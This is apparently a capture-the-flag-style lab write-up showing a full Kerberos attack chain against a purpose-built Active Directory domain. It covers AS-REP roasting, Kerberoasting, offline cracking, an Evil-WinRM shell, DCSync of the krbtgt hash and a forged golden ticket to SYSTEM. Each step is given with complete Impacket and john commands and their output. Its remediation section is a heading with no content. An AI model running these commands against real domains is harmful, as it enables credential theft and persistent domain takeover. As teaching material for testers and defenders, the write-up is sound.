pen-test-lab// Request a test →
Writeup · Lab Build · Active Directory

pentest.lab — the Kerberos kill chain

No CVE, no memory corruption, no exploit. A domain stood up from a blank Server 2022 VM, then seeded the way real domains rot — a service account with an SPN, a user with pre-auth switched off, passwords a wordlist already knows. From zero credentials on the wire to NT AUTHORITY\SYSTEM on the domain controller, every single step is Kerberos abuse: roast, crack, log in, replicate, forge.

target 192.168.56.10 · DC01 domain pentest.lab / PENTEST host Windows Server 2022 attacker Kali · .117 result SYSTEM · full domain compromise
// 00

Executive summary

This isn't a found target — it's a purpose-built range, which is the point. The three weaknesses planted in it (an AS-REP-roastable user, a Kerberoastable service account, and a service account over-privileged into local admin on the DC) are not exotic. They are the three findings that show up, in some combination, on nearly every internal AD engagement. Chained together with the standard Impacket toolkit, they take an attacker who starts with nothing — no username, no password, just a cable on the domain subnet — all the way to the keys of the kingdom.

The whole path never touches a binary exploit. It abuses Kerberos exactly as designed: ask for tickets, crack the ones encrypted with weak keys, use the cracked identity to replicate secrets, then forge a ticket that the domain will trust forever.

root@pen-test-lab:~ — kill-chain· · ·
#1as-rep roast → jweak (pre-auth disabled) → crack → Welcome1
#2kerberoast → svc_sql (MSSQLSvc SPN) → crack → Password123!
#3winrm → svc_sql is a local admin on the DC → shell
#4dcsync → replicate the krbtgt NT hash
#5golden ticket → forge Administrator TGT → psexec → SYSTEM
Credential / artifactValueRecovered via
jweakWelcome1AS-REP roast — no pre-auth
svc_sqlPassword123!Kerberoast — MSSQLSvc SPN
svc_sql rightsBUILTIN\Administrators @ DC01over-privileged service account
krbtgtNT caa690fb6b361d41b1ef3e9dd3a498deDCSync
domainSYSTEM on DC01Golden Ticket → pass-the-ticket

PHASE 01 · the range

What was planted, and why

The domain is a single Server 2022 DC — DC01, pentest.lab / PENTEST, static 192.168.56.10 on an isolated host-only network. After promotion it was seeded with ordinary users plus two accounts carrying deliberate, extremely common misconfigurations. Everything below is reproducible from the DC:

# Kerberoastable service account

# a user account carrying a Service Principal Name — the thing that makes it roastable
New-ADUser -Name "SQL Service" -SamAccountName svc_sql `
  -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
  -Enabled $true -PasswordNeverExpires $true
setspn -S MSSQLSvc/dc01.pentest.lab:1433 svc_sql

# AS-REP-roastable user

# "do not require Kerberos pre-authentication" — the AS-REP roast opening
New-ADUser -Name "Jim Weak" -SamAccountName jweak `
  -AccountPassword (ConvertTo-SecureString "Welcome1" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl -Identity jweak -DoesNotRequirePreAuth $true
The planted sin. svc_sql was also dropped into Administrators — a service account with local-admin rights on a domain controller. On a real engagement you don't create this; you find it. It's how the mid-chain pivot from "cracked a service password" to "own the DC" happens in the wild.
PHASE 02 · as-rep roasting

Credentials with no credentials

AS-REP roasting needs nothing — no password, not even a valid username that authenticates. Any account with pre-auth disabled will hand the KDC a response encrypted with that user's password hash, before proving who it is. Feed Impacket a list of candidate names and it pulls back a crackable blob for any that qualify:

┌──(hex㉿kali)-[~]
└─$ impacket-GetNPUsers pentest.lab/ -dc-ip 192.168.56.10 \
       -usersfile users.txt -format hashcat -outputfile asrep.hash

[-] User ajones doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jweak@PENTEST.LAB:118bdb53…   ← the one that bit
[-] User svc_sql doesn't have UF_DONT_REQUIRE_PREAUTH set
Read the output. Three users correctly refused — pre-auth is on, the KDC won't talk until they prove themselves. Only jweak coughed up a $krb5asrep$23$ hash. That single misconfiguration is the whole foothold.

The 23 is RC4 — fast to crack. John autodetects the format; no mode flag needed:

└─$ john asrep.hash --wordlist=/usr/share/wordlists/rockyou.txt
└─$ john asrep.hash --show
$krb5asrep$23$jweak@PENTEST.LAB:Welcome1

1 password hash cracked, 0 left

First valid domain credential, obtained from a standing start: jweak:Welcome1.

PHASE 03 · kerberoasting

One account buys the next

Kerberoasting needs any valid domain credential — and we just cracked one. Request a service ticket (TGS) for every account with an SPN; the ticket is encrypted with the service account's password hash, so it cracks offline with zero noise against the DC. Note the chain here: jweak's cracked password is what authorizes the roast of svc_sql.

└─$ impacket-GetUserSPNs pentest.lab/jweak:'Welcome1' -dc-ip 192.168.56.10 \
       -request -outputfile kerb.hash

ServicePrincipalName            Name     PasswordLastSet
MSSQLSvc/dc01.pentest.lab:1433  svc_sql  2026-10-21 01:58:02
[+] TGS requested → $krb5tgs$23$*svc_sql$PENTEST.LAB$…

Then crack it. This one carried a lesson:

└─$ john kerb.hash --wordlist=/usr/share/wordlists/rockyou.txt
0 password hashes cracked, 1 left   ← rockyou doesn't contain Password123!
Your wordlist is a blind spot. Base rockyou.txt does not contain Password123! — a password a human would call obvious. A clean rockyou run reported the Kerberoast as a failure. Against a real corporate password it would have missed silently. The fix is rules, not a bigger list — --rules=KoreLogic for John, or -r best64.rule / -r dive.rule for hashcat — which mutate base words into Word123!-style corporate patterns. Confirmed directly here:
└─$ echo 'Password123!' > pw.txt && john kerb.hash --wordlist=pw.txt
Password123!     (?)
1 password hash cracked, 0 left

The hash was always crackable — the list just didn't know the word. Second credential down: svc_sql:Password123!.

PHASE 04 · winrm foothold

The over-privileged service account pays off

A cracked service password is only as useful as what the account can reach. WinRM logon isn't granted to ordinary users — the account needs Remote Management Users or Administrators. svc_sql, as planted, sits in Administrators on the DC itself. Evil-WinRM turns that into an interactive shell:

└─$ evil-winrm -i 192.168.56.10 -u svc_sql -p 'Password123!'

Info: Establishing connection to remote endpoint
Info: Connection successful
*Evil-WinRM* PS C:\Users\svc_sql\Documents> whoami /groups | findstr /i "S-1-5-32-544"
BUILTIN\Administrators   Alias   S-1-5-32-544   Enabled by default, Enabled group
That SID is the whole game. S-1-5-32-544 enabled means svc_sql is a live administrator on a domain controller. Admin on a DC isn't "a host" — it's the directory itself. From here, every secret in the forest is readable.
PHASE 05 · dcsync

Ask the DC to replicate its own secrets

With DC-admin rights, there's no need to touch disk or drop a tool on the box. DCSync uses the directory replication protocol (DRSUAPI) — the same mechanism DCs use to sync with each other — to ask for account hashes over the wire. The one that matters is krbtgt, the account whose key signs every Kerberos ticket in the domain:

└─$ impacket-secretsdump pentest.lab/svc_sql:'Password123!'@192.168.56.10 \
       -just-dc-user krbtgt

[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b…:caa690fb6b361d41b1ef3e9dd3a498de:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:cdc6bcd004e18fa6…
Why krbtgt is the endgame. Its NT hash is the domain's master signing key. Possess it and you can mint a ticket for any user, with any group membership, that the domain accepts as genuine — the Golden Ticket. It survives user password resets. The only true remediation after this hash leaks is rotating krbtgt twice.
PHASE 06 · golden ticket → SYSTEM

Forge a ticket the domain will trust forever

A Golden Ticket needs two things: the krbtgt hash (just dumped) and the domain SID. Grab the SID with the creds already in hand:

└─$ impacket-lookupsid pentest.lab/svc_sql:'Password123!'@192.168.56.10 | grep "Domain SID"
[*] Domain SID is: S-1-5-21-4111544160-324255760-3512759592

Forge a TGT for Administrator entirely offline — the DC is never contacted during the forge. Then load it into the Kerberos environment and ride it straight back in with pass-the-ticket:

└─$ impacket-ticketer -nthash caa690fb6b361d41b1ef3e9dd3a498de \
       -domain-sid S-1-5-21-4111544160-324255760-3512759592 \
       -domain pentest.lab Administrator
[*] Saving ticket in Administrator.ccache

└─$ export KRB5CCNAME=Administrator.ccache
└─$ impacket-psexec -k -no-pass pentest.lab/Administrator@dc01.pentest.lab

[*] Found writable share ADMIN$
[*] Creating service zrhN on dc01.pentest.lab.....
C:\Windows\system32> whoami
nt authority\system
No password crossed the wire. -k -no-pass tells psexec to authenticate with the forged ticket alone. The DC validated a TGT it signed — except it didn't; we signed it, with its own stolen key. That's the Golden Ticket: indistinguishable from a legitimate logon, and valid until krbtgt is rotated (twice). nt authority\system on the DC is total, persistent domain compromise.

// remediation

What the defender should fix

// toolkit

Tools used

impacket-GetNPUsersimpacket-GetUserSPNsimpacket-secretsdumpimpacket-lookupsidimpacket-ticketerimpacket-psexecevil-winrmjohn
root@pen-test-lab:~ — full chain· · ·
zero creds on 192.168.56.0/24
└─ as-rep roast → jweak:Welcome1 (no pre-auth)
   └─ kerberoast as jweak → svc_sql:Password123! (MSSQLSvc SPN)
      └─ evil-winrm as svc_sql → admin shell on DC01
         └─ dcsync → krbtgt NT hash
            └─ golden ticket + ptt → SYSTEM on DC01